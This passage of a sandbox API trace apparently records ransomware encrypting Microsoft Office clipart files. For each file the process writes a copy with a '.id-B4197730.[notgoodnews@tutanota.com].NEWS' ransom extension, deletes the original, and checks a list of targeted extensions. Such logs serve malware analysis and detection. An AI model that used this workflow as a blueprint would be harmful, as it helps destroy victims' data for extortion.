lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.700] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.700] SetEndOfFile (hFile=0x3ac) returned 1 [0177.700] CloseHandle (hObject=0x3ac) returned 1 [0177.700] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.700] SetEndOfFile (hFile=0x54c) returned 1 [0177.704] CloseHandle (hObject=0x54c) returned 1 [0177.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0177.705] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105638.wmf")) returned 1 [0177.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0177.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0177.707] lstrlenW (lpString=".doc") returned 4 [0177.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.707] lstrlenW (lpString=".docx") returned 5 [0177.707] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0177.707] lstrlenW (lpString=".pdf") returned 4 [0177.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.707] lstrlenW (lpString=".xls") returned 4 [0177.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.707] lstrlenW (lpString=".xlsx") returned 5 [0177.707] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0177.707] lstrlenW (lpString=".ppt") returned 4 [0177.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0177.707] lstrlenW (lpString=".zip") returned 4 [0177.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.707] lstrlenW (lpString=".rar") returned 4 [0177.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.707] lstrlenW (lpString=".bz2") returned 4 [0177.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.707] lstrlenW (lpString=".7z") returned 3 [0177.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0177.707] lstrlenW (lpString=".dbf") returned 4 [0177.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0177.707] lstrlenW (lpString=".1cd") returned 4 [0177.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0177.707] lstrlenW (lpString=".jpg") returned 4 [0177.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0177.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0177.708] lstrlenW (lpString=".doc") returned 4 [0177.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.708] lstrlenW (lpString=".docx") returned 5 [0177.708] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0177.708] lstrlenW (lpString=".pdf") returned 4 [0177.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.708] lstrlenW (lpString=".xls") returned 4 [0177.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.708] lstrlenW (lpString=".xlsx") returned 5 [0177.708] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0177.708] lstrlenW (lpString=".ppt") returned 4 [0177.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0177.708] lstrlenW (lpString=".zip") returned 4 [0177.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.708] lstrlenW (lpString=".rar") returned 4 [0177.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.708] lstrlenW (lpString=".bz2") returned 4 [0177.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.708] lstrlenW (lpString=".7z") returned 3 [0177.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0177.708] lstrlenW (lpString=".dbf") returned 4 [0177.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0177.708] lstrlenW (lpString=".1cd") returned 4 [0177.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0177.709] lstrlenW (lpString=".jpg") returned 4 [0177.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.709] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0177.709] lstrlenW (lpString="J0105710.WMF") returned 12 [0177.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0177.710] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=13808) returned 1 [0177.710] CloseHandle (hObject=0x54c) returned 1 [0177.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 0x220 [0177.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0177.711] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.711] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0177.712] GetLastError () returned 0x0 [0177.712] ReadFile (in: hFile=0x54c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x35f0, lpOverlapped=0x0) returned 1 [0177.798] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x3600, lpOverlapped=0x0) returned 1 [0177.800] ReadFile (in: hFile=0x54c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.800] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.800] SetEndOfFile (hFile=0x3ac) returned 1 [0178.452] CloseHandle (hObject=0x3ac) returned 1 [0178.455] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.455] SetEndOfFile (hFile=0x54c) returned 1 [0178.459] CloseHandle (hObject=0x54c) returned 1 [0178.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0178.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105710.wmf")) returned 1 [0178.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0178.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0178.462] lstrlenW (lpString=".doc") returned 4 [0178.462] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.462] lstrlenW (lpString=".docx") returned 5 [0178.462] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0178.462] lstrlenW (lpString=".pdf") returned 4 [0178.462] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.462] lstrlenW (lpString=".xls") returned 4 [0178.462] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.462] lstrlenW (lpString=".xlsx") returned 5 [0178.462] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0178.462] lstrlenW (lpString=".ppt") returned 4 [0178.462] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0178.462] lstrlenW (lpString=".zip") returned 4 [0178.462] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.462] lstrlenW (lpString=".rar") returned 4 [0178.463] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.463] lstrlenW (lpString=".bz2") returned 4 [0178.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.463] lstrlenW (lpString=".7z") returned 3 [0178.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0178.463] lstrlenW (lpString=".dbf") returned 4 [0178.463] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0178.463] lstrlenW (lpString=".1cd") returned 4 [0178.463] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0178.463] lstrlenW (lpString=".jpg") returned 4 [0178.463] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0178.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0178.463] lstrlenW (lpString=".doc") returned 4 [0178.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.463] lstrlenW (lpString=".docx") returned 5 [0178.463] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0178.464] lstrlenW (lpString=".pdf") returned 4 [0178.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.464] lstrlenW (lpString=".xls") returned 4 [0178.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.464] lstrlenW (lpString=".xlsx") returned 5 [0178.464] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0178.464] lstrlenW (lpString=".ppt") returned 4 [0178.464] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0178.464] lstrlenW (lpString=".zip") returned 4 [0178.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.464] lstrlenW (lpString=".rar") returned 4 [0178.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.464] lstrlenW (lpString=".bz2") returned 4 [0178.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.464] lstrlenW (lpString=".7z") returned 3 [0178.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0178.464] lstrlenW (lpString=".dbf") returned 4 [0178.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0178.464] lstrlenW (lpString=".1cd") returned 4 [0178.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105710.WMF") returned 68 [0178.465] lstrlenW (lpString=".jpg") returned 4 [0178.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.465] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0178.465] lstrlenW (lpString="J0105846.WMF") returned 12 [0178.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0178.885] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=8240) returned 1 [0178.885] CloseHandle (hObject=0x544) returned 1 [0178.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 0x220 [0179.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0179.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0180.016] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.018] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0180.039] GetLastError () returned 0x0 [0180.039] ReadFile (in: hFile=0x564, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x2030, lpOverlapped=0x0) returned 1 [0180.042] WriteFile (in: hFile=0x4f0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2040, lpOverlapped=0x0) returned 1 [0180.043] ReadFile (in: hFile=0x564, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.043] WriteFile (in: hFile=0x4f0, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.043] SetEndOfFile (hFile=0x4f0) returned 1 [0180.044] CloseHandle (hObject=0x4f0) returned 1 [0180.044] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.044] SetEndOfFile (hFile=0x564) returned 1 [0180.048] CloseHandle (hObject=0x564) returned 1 [0180.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105846.wmf")) returned 1 [0180.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0180.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0180.050] lstrlenW (lpString=".doc") returned 4 [0180.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.050] lstrlenW (lpString=".docx") returned 5 [0180.051] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0180.051] lstrlenW (lpString=".pdf") returned 4 [0180.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.051] lstrlenW (lpString=".xls") returned 4 [0180.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.051] lstrlenW (lpString=".xlsx") returned 5 [0180.051] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0180.051] lstrlenW (lpString=".ppt") returned 4 [0180.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0180.051] lstrlenW (lpString=".zip") returned 4 [0180.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.051] lstrlenW (lpString=".rar") returned 4 [0180.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.051] lstrlenW (lpString=".bz2") returned 4 [0180.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.051] lstrlenW (lpString=".7z") returned 3 [0180.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0180.051] lstrlenW (lpString=".dbf") returned 4 [0180.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0180.052] lstrlenW (lpString=".1cd") returned 4 [0180.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0180.052] lstrlenW (lpString=".jpg") returned 4 [0180.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0180.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0180.247] lstrlenW (lpString=".doc") returned 4 [0180.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.247] lstrlenW (lpString=".docx") returned 5 [0180.247] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0180.247] lstrlenW (lpString=".pdf") returned 4 [0180.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.248] lstrlenW (lpString=".xls") returned 4 [0180.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.248] lstrlenW (lpString=".xlsx") returned 5 [0180.248] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0180.248] lstrlenW (lpString=".ppt") returned 4 [0180.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0180.248] lstrlenW (lpString=".zip") returned 4 [0180.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.248] lstrlenW (lpString=".rar") returned 4 [0180.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.248] lstrlenW (lpString=".bz2") returned 4 [0180.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.248] lstrlenW (lpString=".7z") returned 3 [0180.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0180.248] lstrlenW (lpString=".dbf") returned 4 [0180.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0180.248] lstrlenW (lpString=".1cd") returned 4 [0180.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0180.248] lstrlenW (lpString=".jpg") returned 4 [0180.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.249] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0180.249] lstrlenW (lpString="J0107024.WMF") returned 12 [0180.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0180.252] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=3020) returned 1 [0180.252] CloseHandle (hObject=0x4dc) returned 1 [0180.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf")) returned 0x220 [0180.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0180.253] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.253] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0180.255] GetLastError () returned 0x0 [0180.255] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0xbcc, lpOverlapped=0x0) returned 1 [0180.263] WriteFile (in: hFile=0x4e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0180.264] ReadFile (in: hFile=0x4dc, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.264] WriteFile (in: hFile=0x4e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.264] 